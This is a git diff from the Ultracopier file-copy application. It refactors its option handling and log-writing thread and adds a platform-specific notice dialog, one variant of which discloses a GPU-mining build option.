+ QByteArray data;
+ int size;
+ bool haveData;
+ } ComposedData;
+ QList<ComposedData> clientList;
private slots:
- //the time is done
- void timeoutDectected();
- /// \brief Data is incomming
- void dataIncomming();
- /// \brief Deconnexion client
- void deconnectClient();
- /// LocalListener New connexion
- void newConnexion();
- #ifdef ULTRACOPIER_DEBUG
- /** \brief If error occured at socket
- \param theErrorDefine The error define */
- void error(QLocalSocket::LocalSocketError theErrorDefine);
- #endif
- /// \can now parse the cli
- void allPluginIsloaded();
+ //the time is done
+ void timeoutDectected();
+ /// \brief Data is incomming
+ void dataIncomming();
+ /// \brief Deconnexion client
+ void deconnectClient();
+ /// LocalListener New connexion
+ void newConnexion();
+ #ifdef ULTRACOPIER_DEBUG
+ /** \brief If error occured at socket
+ \param theErrorDefine The error define */
+ void error(const QLocalSocket::LocalSocketError &theErrorDefine);
+ #endif
+ /// \can now parse the cli
+ void allPluginIsloaded();
signals:
- void cli(const QStringList &ultracopierArguments,const bool &external,const bool &onlyCheck);
+ void cli(const QStringList &ultracopierArguments,const bool &external,const bool &onlyCheck) const;
};
#endif // LOCALLISTENER_H
diff --git a/LocalPluginOptions.cpp b/LocalPluginOptions.cpp
index b81e880..5e25bf0 100644
--- a/LocalPluginOptions.cpp
+++ b/LocalPluginOptions.cpp
@@ -1,63 +1,59 @@
/** \file LocalPluginOptions.cpp
\brief To bind the options of the plugin, into unique group options
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "LocalPluginOptions.h"
LocalPluginOptions::LocalPluginOptions(const QString &group)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start(\""+group+"\",[...])");
- groupOptionAdded=false;
- this->group=group;
- options=OptionEngine::getInstance();
- connect(options,SIGNAL(resetOptions()),this,SIGNAL(resetOptions()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start(\"")+group+QStringLiteral("\",[...])"));
+ groupOptionAdded=false;
+ this->group=group;
+ connect(OptionEngine::optionEngine,&OptionEngine::resetOptions,this,&OptionInterface::resetOptions);
}
LocalPluginOptions::~LocalPluginOptions()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start(\""+group+"\",[...])");
- if(groupOptionAdded)
- options->removeOptionGroup(group);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"option not used");
- OptionEngine::destroyInstanceAtTheLastCall();
+ if(groupOptionAdded)
+ {
+ if(OptionEngine::optionEngine!=NULL)
+ OptionEngine::optionEngine->removeOptionGroup(group);
+ }
}
/// \brief To add option group to options
bool LocalPluginOptions::addOptionGroup(const QList<QPair<QString, QVariant> > &KeysList)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start(\""+group+"\",[...])");
- if(groupOptionAdded)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Group already added!");
- return false;
- }
- else
- {
- groupOptionAdded=true;
- return options->addOptionGroup(group,KeysList);
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start(\"")+group+QStringLiteral("\",[...])"));
+ if(groupOptionAdded)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("Group already added!"));
+ return false;
+ }
+ else
+ {
+ groupOptionAdded=true;
+ return OptionEngine::optionEngine->addOptionGroup(group,KeysList);
+ }
}
/// \brief To get option value
-QVariant LocalPluginOptions::getOptionValue(const QString &variableName)
+QVariant LocalPluginOptions::getOptionValue(const QString &variableName) const
{
- return options->getOptionValue(group,variableName);
+ return OptionEngine::optionEngine->getOptionValue(group,variableName);
}
/// \brief To set option value
void LocalPluginOptions::setOptionValue(const QString &variableName,const QVariant &value)
{
- options->setOptionValue(group,variableName,value);
+ OptionEngine::optionEngine->setOptionValue(group,variableName,value);
}
/*-> disabled because the value will not externaly changed, then useless notification
void LocalPluginOptions::newOptionValue(QString group,QString variable,QVariant value)
{
- if(group==this->group)
- emit newOptionValue(variable,value);
+ if(group==this->group)
+ emit newOptionValue(variable,value);
}*/
diff --git a/LocalPluginOptions.h b/LocalPluginOptions.h
index f5ee463..623f418 100644
--- a/LocalPluginOptions.h
+++ b/LocalPluginOptions.h
@@ -1,8 +1,6 @@
/** \file LocalPluginOptions.h
\brief To bind the options of the plugin, into unique group options
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef LOCALPLUGINOPTIONS_H
@@ -21,25 +19,24 @@
*/
class LocalPluginOptions : public OptionInterface
{
- Q_OBJECT
+ Q_OBJECT
public:
- explicit LocalPluginOptions(const QString &group);
- ~LocalPluginOptions();
- /// \brief To add option group to options
- bool addOptionGroup(const QList<QPair<QString, QVariant> > &KeysList);
- /*/// \brief To remove option group to options, removed to the load plugin
- bool removeOptionGroup();*/
- /// \brief To get option value
- QVariant getOptionValue(const QString &variableName);
- /// \brief To set option value
- void setOptionValue(const QString &variableName,const QVariant &value);
+ explicit LocalPluginOptions(const QString &group);
+ ~LocalPluginOptions();
+ /// \brief To add option group to options
+ bool addOptionGroup(const QList<QPair<QString, QVariant> > &KeysList);
+ /*/// \brief To remove option group to options, removed to the load plugin
+ bool removeOptionGroup();*/
+ /// \brief To get option value
+ QVariant getOptionValue(const QString &variableName) const;
+ /// \brief To set option value
+ void setOptionValue(const QString &variableName,const QVariant &value);
protected:
- //for the options
- OptionEngine *options;
- QString group;
- bool groupOptionAdded;
+ //for the options
+ QString group;
+ bool groupOptionAdded;
/*public slots:-> disabled because the value will not externaly changed, then useless notification
- void newOptionValue(QString group,QString variable,QVariant value);*/
+ void newOptionValue(QString group,QString variable,QVariant value);*/
};
#endif // LOCALPLUGINOPTIONS_H
diff --git a/LogThread.cpp b/LogThread.cpp
index 9064b07..4af7550 100644
--- a/LogThread.cpp
+++ b/LogThread.cpp
@@ -1,222 +1,291 @@
/** \file LogThread.cpp
\brief The thread to do the log but not block the main thread
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "LogThread.h"
+#include "ResourcesManager.h"
+#include "OptionEngine.h"
+#ifdef Q_OS_WIN32
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+#endif
#include <QMessageBox>
+QString LogThread::text_header_copy=QStringLiteral("[Copy] ");
+QString LogThread::text_header_move=QStringLiteral("[Move] ");
+QString LogThread::text_header_skip=QStringLiteral("[Skip] ");
+QString LogThread::text_header_stop=QStringLiteral("[Stop] ");
+QString LogThread::text_header_error=QStringLiteral("[Error] ");
+QString LogThread::text_header_MkPath=QStringLiteral("[MkPath] ");
+QString LogThread::text_header_RmPath=QStringLiteral("[RmPath] ");
+
+QString LogThread::text_var_source=QStringLiteral("%source%");
+QString LogThread::text_var_size=QStringLiteral("%size%");
+QString LogThread::text_var_destination=QStringLiteral("%destination%");
+QString LogThread::text_var_path=QStringLiteral("%path%");
+QString LogThread::text_var_error=QStringLiteral("%error%");
+QString LogThread::text_var_mtime=QStringLiteral("%mtime%");
+QString LogThread::text_var_time=QStringLiteral("%time%");
+QString LogThread::text_var_timestring=QStringLiteral("%dd.MM.yyyy h:m:s%");
+#ifdef Q_OS_WIN32
+QString LogThread::text_var_computer=QStringLiteral("%computer%");
+QString LogThread::text_var_user=QStringLiteral("%user%");
+#endif
+QString LogThread::text_var_operation=QStringLiteral("%operation%");
+QString LogThread::text_var_rmPath=QStringLiteral("%rmPath%");
+QString LogThread::text_var_mkPath=QStringLiteral("%mkPath%");
+
LogThread::LogThread()
{
- sync=false;
-
- //load the GUI option
- QString defaultLogFile="";
- if(resources->getWritablePath()!="")
- defaultLogFile=resources->getWritablePath()+"ultracopier-files.log";
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("enabled"),QVariant(false)));
- KeysList.append(qMakePair(QString("file"),QVariant(defaultLogFile)));
- KeysList.append(qMakePair(QString("transfer"),QVariant(true)));
- KeysList.append(qMakePair(QString("error"),QVariant(true)));
- KeysList.append(qMakePair(QString("folder"),QVariant(true)));
- KeysList.append(qMakePair(QString("sync"),QVariant(true)));
- KeysList.append(qMakePair(QString("transfer_format"),QVariant("[%time%] %source% (%size%) %destination%")));
- KeysList.append(qMakePair(QString("error_format"),QVariant("[%time%] %path%, %error%")));
- KeysList.append(qMakePair(QString("folder_format"),QVariant("[%time%] %operation% %path%")));
- options->addOptionGroup("Write_log",KeysList);
-
- connect(options,SIGNAL(newOptionValue(QString,QString,QVariant)), this, SLOT(newOptionValue(QString,QString,QVariant)));
-
- enabled=false;
-
- moveToThread(this);
- start(QThread::IdlePriority);
-
- connect(this, SIGNAL(newData(QString)), this,SLOT(realDataWrite(QString)),Qt::QueuedConnection);
-
- newOptionValue("Write_log", "transfer", options->getOptionValue("Write_log","transfer"));
- newOptionValue("Write_log", "error", options->getOptionValue("Write_log","error"));
- newOptionValue("Write_log", "folder", options->getOptionValue("Write_log","folder"));
- newOptionValue("Write_log", "sync", options->getOptionValue("Write_log","sync"));
- newOptionValue("Write_log", "transfer_format", options->getOptionValue("Write_log","transfer_format"));
- newOptionValue("Write_log", "error_format", options->getOptionValue("Write_log","error_format"));
- newOptionValue("Write_log", "folder_format", options->getOptionValue("Write_log","folder_format"));
- newOptionValue("Write_log", "sync", options->getOptionValue("Write_log","sync"));
- newOptionValue("Write_log", "enabled", options->getOptionValue("Write_log","enabled"));
+ sync=false;
+
+ connect(OptionEngine::optionEngine,&OptionEngine::newOptionValue, this, &LogThread::newOptionValue);
+
+ enabled=false;
+
+ moveToThread(this);
+ start(QThread::IdlePriority);
+
+ connect(this, &LogThread::newData, this,&LogThread::realDataWrite,Qt::QueuedConnection);
+
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("transfer"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("transfer")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("error"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("error")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("folder"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("folder")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("sync"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("sync")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("transfer_format"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("transfer_format")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("error_format"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("error_format")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("folder_format"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("folder_format")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("sync"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("sync")));
+ newOptionValue(QStringLiteral("Write_log"), QStringLiteral("enabled"), OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("enabled")));
+ #ifdef Q_OS_WIN32
+ DWORD size=0;
+ WCHAR * computerNameW=new WCHAR[size];
+ if(GetComputerNameW(computerNameW,&size))
+ computer=QString::fromWCharArray(computerNameW,size-1);
+ else
+ computer=QStringLiteral("Unknown computer");
+ delete computerNameW;
+
+ WCHAR * userNameW=new WCHAR[size];
+ if(GetUserNameW(userNameW,&size))
+ user=QString::fromWCharArray(userNameW,size-1);
+ else
+ user=QStringLiteral("Unknown user");
+ delete userNameW;
+ #endif
+
+ #ifdef Q_OS_WIN32
+ lineReturn=QStringLiteral("\r\n");
+ #else
+ lineReturn=QStringLiteral("\n");
+ #endif
}
LogThread::~LogThread()
{
- closeLogs();
- quit();
- wait();
+ closeLogs();
+ quit();
+ wait();
+}
+
+bool LogThread::logTransfer() const
+{
+ return enabled && log_enable_transfer;
}
void LogThread::openLogs()
{
- if(options->getOptionValue("Write_log","enabled").toBool()==false)
- return;
- if(log.isOpen())
- {
- QMessageBox::critical(NULL,tr("Error"),tr("Log file already open, error: %1").arg(log.errorString()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("log file already open, error: %1").arg(log.errorString()));
- return;
- }
- log.setFileName(options->getOptionValue("Write_log","file").toString());
- if(sync)
- {
- if(!log.open(QIODevice::WriteOnly|QIODevice::Unbuffered))
- {
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to open file to keep the log file, error: %1").arg(log.errorString()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to open file to keep the log file, error: %1").arg(log.errorString()));
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"opened log: "+options->getOptionValue("Write_log","file").toString());
- }
- else
- {
- if(!log.open(QIODevice::WriteOnly))
- {
- QMessageBox::critical(NULL,tr("Error"),tr("Unable to open file to keep the log file, error: %1").arg(log.errorString()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to open file to keep the log file, error: %1").arg(log.errorString()));
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"opened log: "+options->getOptionValue("Write_log","file").toString());
- }
+ if(OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("enabled")).toBool()==false)
+ return;
+ if(log.isOpen())
+ {
+ QMessageBox::critical(NULL,tr("Error"),tr("Log file already open, error: %1").arg(log.errorString()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("log file already open, error: %1").arg(log.errorString()));
+ return;
+ }
+ log.setFileName(OptionEngine::optionEngine->getOptionValue("Write_log","file").toString());
+ if(sync)
+ {
+ if(!log.open(QIODevice::WriteOnly|QIODevice::Unbuffered))
+ {
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to open the log file, error: %1").arg(log.errorString()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Unable to open the log file, error: %1").arg(log.errorString()));
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"opened log: "+OptionEngine::optionEngine->getOptionValue("Write_log","file").toString());
+ }
+ else
+ {
+ if(!log.open(QIODevice::WriteOnly))
+ {
+ QMessageBox::critical(NULL,tr("Error"),tr("Unable to open the log file, error: %1").arg(log.errorString()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Unable to open the log file, error: %1").arg(log.errorString()));
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("opened log: ")+OptionEngine::optionEngine->getOptionValue(QStringLiteral("Write_log"),QStringLiteral("file")).toString());
+ }
}
void LogThread::closeLogs()
{
- if(log.isOpen() && data.size()>0)
- log.write(data.toUtf8());
- log.close();
+ if(log.isOpen() && data.size()>0)
+ log.write(data.toUtf8());
+ log.close();
}
-void LogThread::newTransferStart(const ItemOfCopyList &item)
+void LogThread::newTransferStart(const Ultracopier::ItemOfCopyList &item)
{
- if(!log_enable_transfer)
- return;
- QString text=transfer_format+"\n";
- text=replaceBaseVar(text);
- //Variable is %source%, %size%, %destination%
- text=text.replace("%source%",item.sourceFullPath);
- text=text.replace("%size%",QString::number(item.size));
- text=text.replace("%destination%",item.destinationFullPath);
- emit newData(text);
+ if(!logTransfer())
+ return;
+ QString text;
+ if(item.mode==Ultracopier::Copy)
+ text=LogThread::text_header_copy+transfer_format+lineReturn;
+ else
+ text=LogThread::text_header_move+transfer_format+lineReturn;
+ text=replaceBaseVar(text);
+ //Variable is %source%, %size%, %destination%
+ text=text.replace(LogThread::text_var_source,item.sourceFullPath);
+ text=text.replace(LogThread::text_var_size,QString::number(item.size));
+ text=text.replace(LogThread::text_var_destination,item.destinationFullPath);
+ emit newData(text);
}
-void LogThread::newTransferStop(const quint64 &id)
+/** method called when new transfer is started */
+void LogThread::transferSkip(const Ultracopier::ItemOfCopyList &item)
{
- if(!log_enable_transfer)
- return;
- Q_UNUSED(id)
+ if(!logTransfer())
+ return;
+ QString text=LogThread::text_header_skip+transfer_format+lineReturn;
+ text=replaceBaseVar(text);
+ //Variable is %source%, %size%, %destination%
+ text=text.replace(LogThread::text_var_source,item.sourceFullPath);
+ text=text.replace(LogThread::text_var_size,QString::number(item.size));
+ text=text.replace(LogThread::text_var_destination,item.destinationFullPath);
+ emit newData(text);
+}
+
+void LogThread::newTransferStop(const Ultracopier::ItemOfCopyList &item)
+{
+ if(!logTransfer())
+ return;
+ QString text=LogThread::text_header_stop+transfer_format+lineReturn;
+ text=replaceBaseVar(text);
+ //Variable is %source%, %size%, %destination%
+ text=text.replace(LogThread::text_var_source,item.sourceFullPath);
+ text=text.replace(LogThread::text_var_size,QString::number(item.size));
+ text=text.replace(LogThread::text_var_destination,item.destinationFullPath);
+ emit newData(text);
}
void LogThread::error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error)
{
- if(!log_enable_error)
- return;
- QString text=error_format+"\n";
- text=replaceBaseVar(text);
- //Variable is %path%, %size%, %mtime%, %error%
- text=text.replace("%path%",path);
- text=text.replace("%size%",QString::number(size));
- text=text.replace("%mtime%",mtime.toString(Qt::ISODate));
- text=text.replace("%error%",error);
- emit newData(text);
+ if(!log_enable_error)
+ return;
+ QString text=LogThread::text_header_error+error_format+lineReturn;
+ text=replaceBaseVar(text);
+ //Variable is %path%, %size%, %mtime%, %error%
+ text=text.replace(LogThread::text_var_path,path);
+ text=text.replace(LogThread::text_var_size,QString::number(size));
+ text=text.replace(LogThread::text_var_mtime,mtime.toString(Qt::ISODate));
+ text=text.replace(LogThread::text_var_error,error);
+ emit newData(text);
}
void LogThread::run()
{
- exec();
+ exec();
}
void LogThread::realDataWrite(const QString &text)
{
- #ifdef ULTRACOPIER_DEBUG
- if(!log.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"transfer log not open");
- return;
- }
- #endif // ULTRACOPIER_DEBUG
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(log.write(text.toUtf8())==-1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to write into transfer log: %1").arg(log.errorString()));
- return;
- }
- if(sync)
- log.flush();
+ #ifdef ULTRACOPIER_DEBUG
+ if(!log.isOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"transfer log not open");
+ return;
+ }
+ #endif // ULTRACOPIER_DEBUG
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(log.write(text.toUtf8())==-1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("unable to write into transfer log: %1").arg(log.errorString()));
+ return;
+ }
+ if(sync)
+ log.flush();
}
void LogThread::newOptionValue(const QString &group,const QString &name,const QVariant &value)
{
- if(group!="Write_log")
- return;
-
- if(name=="transfer_format")
- transfer_format=value.toString();
- else if(name=="error_format")
- error_format=value.toString();
- else if(name=="folder_format")
- folder_format=value.toString();
- else if(name=="sync")
- {
- sync=value.toBool();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("sync flag is set on: %1").arg(sync));
- if(sync)
- {
- if(log.isOpen())
- log.flush();
- }
- }
- else if(name=="transfer")
- log_enable_transfer=options->getOptionValue("Write_log","enabled").toBool() && value.toBool();
- else if(name=="error")
- log_enable_error=options->getOptionValue("Write_log","enabled").toBool() && value.toBool();
- else if(name=="folder")
- log_enable_folder=options->getOptionValue("Write_log","enabled").toBool() && value.toBool();
- if(name=="enabled")
- {
- enabled=value.toBool();
- if(enabled)
- openLogs();
- else
- closeLogs();
- }
+ if(group!=QStringLiteral("Write_log"))
+ return;
+
+ if(name==QStringLiteral("transfer_format"))
+ transfer_format=value.toString();
+ else if(name==QStringLiteral("error_format"))
+ error_format=value.toString();
+ else if(name==QStringLiteral("folder_format"))
+ folder_format=value.toString();
+ else if(name==QStringLiteral("sync"))
+ {
+ sync=value.toBool();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QString("sync flag is set on: %1").arg(sync));
+ if(sync)
+ {
+ if(log.isOpen())
+ log.flush();
+ }
+ }
+ else if(name==QStringLiteral("transfer"))
+ log_enable_transfer=OptionEngine::optionEngine->getOptionValue("Write_log","enabled").toBool() && value.toBool();
+ else if(name==QStringLiteral("error"))
+ log_enable_error=OptionEngine::optionEngine->getOptionValue("Write_log","enabled").toBool() && value.toBool();
+ else if(name==QStringLiteral("folder"))
+ log_enable_folder=OptionEngine::optionEngine->getOptionValue("Write_log","enabled").toBool() && value.toBool();
+ if(name==QStringLiteral("enabled"))
+ {
+ enabled=value.toBool();
+ if(enabled)
+ openLogs();
+ else
+ closeLogs();
+ }
}
QString LogThread::replaceBaseVar(QString text)
{
- text=text.replace("%time%",QDateTime::currentDateTime().toString("dd.MM.yyyy h:m:s"));
- return text;
+ text=text.replace(LogThread::text_var_time,QDateTime::currentDateTime().toString(LogThread::text_var_timestring));
+ #ifdef Q_OS_WIN32
+ text=text.replace(LogThread::text_var_computer,computer);
+ text=text.replace(LogThread::text_var_user,user);
+ #endif
+ return text;
}
void LogThread::rmPath(const QString &path)
{
- if(!log_enable_folder)
- return;
- QString text=folder_format+"\n";
- text=replaceBaseVar(text);
- //Variable is %operation% %path%
- text=text.replace("%path%",path);
- text=text.replace("%operation%","rmPath");
- emit newData(text);
+ if(!logTransfer())
+ return;
+ QString text=LogThread::text_header_RmPath+folder_format+lineReturn;
+ text=replaceBaseVar(text);
+ //Variable is %operation% %path%
+ text=text.replace(LogThread::text_var_path,path);
+ text=text.replace(LogThread::text_var_operation,LogThread::text_var_rmPath);
+ emit newData(text);
}
void LogThread::mkPath(const QString &path)
{
- if(!log_enable_folder)
- return;
- QString text=folder_format+"\n";
- text=replaceBaseVar(text);
- //Variable is %operation% %path%
- text=text.replace("%path%",path);
- text=text.replace("%operation%","mkPath");
- emit newData(text);
+ if(!logTransfer())
+ return;
+ QString text=LogThread::text_header_MkPath+folder_format+lineReturn;
+ text=replaceBaseVar(text);
+ //Variable is %operation% %path%
+ text=text.replace(LogThread::text_var_path,path);
+ text=text.replace(LogThread::text_var_operation,LogThread::text_var_mkPath);
+ emit newData(text);
}
diff --git a/LogThread.h b/LogThread.h
index 2366e3e..4b132dd 100644
--- a/LogThread.h
+++ b/LogThread.h
@@ -1,8 +1,6 @@
/** \file LogThread.h
\brief The thread to do the log but not block the main thread
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef LOGTHREAD_H
@@ -12,8 +10,8 @@
#include <QString>
#include <QDateTime>
#include <QVariant>
+#include <QFile>
-#include "GlobalClass.h"
#include "Environment.h"
#include "StructEnumDefinition.h"
@@ -21,48 +19,80 @@
It use thread based storage to prevent gui thread freeze on log file writing when is out of the disk buffer. That's allow to async the event.
*/
-class LogThread : public QThread, public GlobalClass
+class LogThread : public QThread
{
Q_OBJECT
public:
- explicit LogThread();
- ~LogThread();
+ explicit LogThread();
+ ~LogThread();
+ bool logTransfer() const;
public slots:
- /** method called when new transfer is started */
- void newTransferStart(const ItemOfCopyList &item);
- /** method called when transfer is stopped */
- void newTransferStop(const quint64 &id);
- /** method called when new error is occurred */
- void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error);
- /** method called when the log file need be created */
- void openLogs();
- /** method called when the log file need be closed */
- void closeLogs();
- /** method called when one folder is removed */
- void rmPath(const QString &path);
- /** method called when one folder is created */
- void mkPath(const QString &path);
+ /** method called when new transfer is started */
+ void newTransferStart(const Ultracopier::ItemOfCopyList &item);
+ /** method called when transfer is stopped */
+ void newTransferStop(const Ultracopier::ItemOfCopyList &item);
+ /** method called when new transfer is started */
+ void transferSkip(const Ultracopier::ItemOfCopyList &item);
+ /** method called when new error is occurred */
+ void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error);
+ /** method called when the log file need be created */
+ void openLogs();
+ /** method called when the log file need be closed */
+ void closeLogs();
+ /** method called when one folder is removed */
+ void rmPath(const QString &path);
+ /** method called when one folder is created */
+ void mkPath(const QString &path);
private slots:
- /** \to write the data into the file */
- void realDataWrite(const QString &text);
- /** \to update the options value */
- void newOptionValue(const QString &group,const QString &name,const QVariant &value);
+ /** \to write the data into the file */
+ void realDataWrite(const QString &text);
+ /** \to update the options value */
+ void newOptionValue(const QString &group,const QString &name,const QVariant &value);
signals:
- void newData(const QString &text);
+ void newData(const QString &text) const;
private:
- QString data;
- QString transfer_format;
- QString error_format;
- QString folder_format;
- QFile log;
- QString replaceBaseVar(QString text);
- bool sync;
- bool enabled;
- bool log_enable_transfer;
- bool log_enable_error;
- bool log_enable_folder;
+ QString data;
+ QString transfer_format;
+ QString error_format;
+ QString folder_format;
+ QFile log;
+ QString lineReturn;
+ QString replaceBaseVar(QString text);
+ #ifdef Q_OS_WIN32
+ QString computer;
+ QString user;
+ #endif
+ bool sync;
+ bool enabled;
+ bool log_enable_transfer;
+ bool log_enable_error;
+ bool log_enable_folder;
+
+ static QString text_header_copy;
+ static QString text_header_move;
+ static QString text_header_skip;
+ static QString text_header_stop;
+ static QString text_header_error;
+ static QString text_header_MkPath;
+ static QString text_header_RmPath;
+
+ static QString text_var_source;
+ static QString text_var_size;
+ static QString text_var_destination;
+ static QString text_var_path;
+ static QString text_var_error;
+ static QString text_var_mtime;
+ static QString text_var_time;
+ static QString text_var_timestring;
+ #ifdef Q_OS_WIN32
+ static QString text_var_computer;
+ static QString text_var_user;
+ #endif
+ static QString text_var_operation;
+ static QString text_var_rmPath;
+ static QString text_var_mkPath;
protected:
- void run();
+ void run();
};
#endif // LOGTHREAD_H
diff --git a/OSSpecific.cpp b/OSSpecific.cpp
new file mode 100644
index 0000000..01d8909
--- /dev/null
+++ b/OSSpecific.cpp
@@ -0,0 +1,62 @@
+#include "OSSpecific.h"
+#include "ui_OSSpecific.h"
+
+OSSpecific::OSSpecific(QWidget *parent) :
+ QDialog(parent),
+ ui(new Ui::OSSpecific)
+{
+ ui->setupUi(this);
+ if(!QIcon::fromTheme(QStringLiteral("dialog-warning")).isNull())
+ setWindowIcon(QIcon::fromTheme(QStringLiteral("dialog-warning")));
+ updateText();
+}
+
+OSSpecific::~OSSpecific()
+{
+ delete ui;
+}
+
+void OSSpecific::updateText()
+{
+ QString text;
+ #if defined(Q_OS_LINUX)
+ text=tr("The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).<br />Ask the developer to support it.<br />You need do the copy/move manually.");
+ #elif defined(Q_OS_WIN32)
+ text=tr("Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).");
+ #elif defined(Q_OS_MAC)
+ text=tr("The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.<br />You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).");
+ #else
+ text=tr("The replacement of default copy/move system should be not supported by the file manager.<br />Ask to the developer to support it.<br />You need do the copy/move manually.");
+ #endif
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ text+=QStringLiteral("<br />")+tr("Consider Supercopier as deprecated, prefer Ultracopier");
+ #endif
+ #if defined(ULTRACOPIER_CGMINER) && ! defined(ULTRACOPIER_ILLEGAL)
+ text+=QStringLiteral("<br /><b>")+tr("This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don't wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.")+
+ QStringLiteral("<br /><a href=\"")+tr("http://ultracopier.first-world.info/download.html")+"\""+tr("http://ultracopier.first-world.info/download.html")+QStringLiteral("</a></b>");
+ #endif
+ ui->label->setText(text);
+}
+
+void OSSpecific::changeEvent(QEvent *e)
+{
+ QDialog::changeEvent(e);
+ switch (e->type()) {
+ case QEvent::LanguageChange:
+ ui->retranslateUi(this);
+ updateText();
+ break;
+ default:
+ break;
+ }
+}
+
+bool OSSpecific::dontShowAgain()
+{
+ return ui->dontShowAgain->isChecked();
+}
+
+void OSSpecific::on_pushButton_clicked()
+{
+ close();
+}
diff --git a/OSSpecific.h b/OSSpecific.h
new file mode 100644
index 0000000..0b6ffcb
--- /dev/null
+++ b/OSSpecific.h
@@ -0,0 +1,29 @@
+#ifndef OSSPECIFIC_H
+#define OSSPECIFIC_H
+
+#include "Environment.h"
+
+#include <QDialog>
+
+namespace Ui {
+class OSSpecific;
+}
+
+class OSSpecific : public QDialog
+{
+ Q_OBJECT
+
+public:
+ explicit OSSpecific(QWidget *parent = 0);
+ ~OSSpecific();
+ bool dontShowAgain();
+private slots:
+ void on_pushButton_clicked();
+ void updateText();
+protected slots:
+ void changeEvent(QEvent *e);
+private:
+ Ui::OSSpecific *ui;
+};
+
+#endif // OSSPECIFIC_H
diff --git a/OSSpecific.ui b/OSSpecific.ui
new file mode 100644
index 0000000..3d0d89e
--- /dev/null
+++ b/OSSpecific.ui
@@ -0,0 +1,108 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>OSSpecific</class>
+ <widget class="QDialog" name="OSSpecific">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>600</width>
+ <height>88</height>
+ </rect>
+ </property>
+ <property name="sizePolicy">
+ <sizepolicy hsizetype="Expanding" vsizetype="Preferred">
+ <horstretch>0</horstretch>
+ <verstretch>0</verstretch>
+ </sizepolicy>
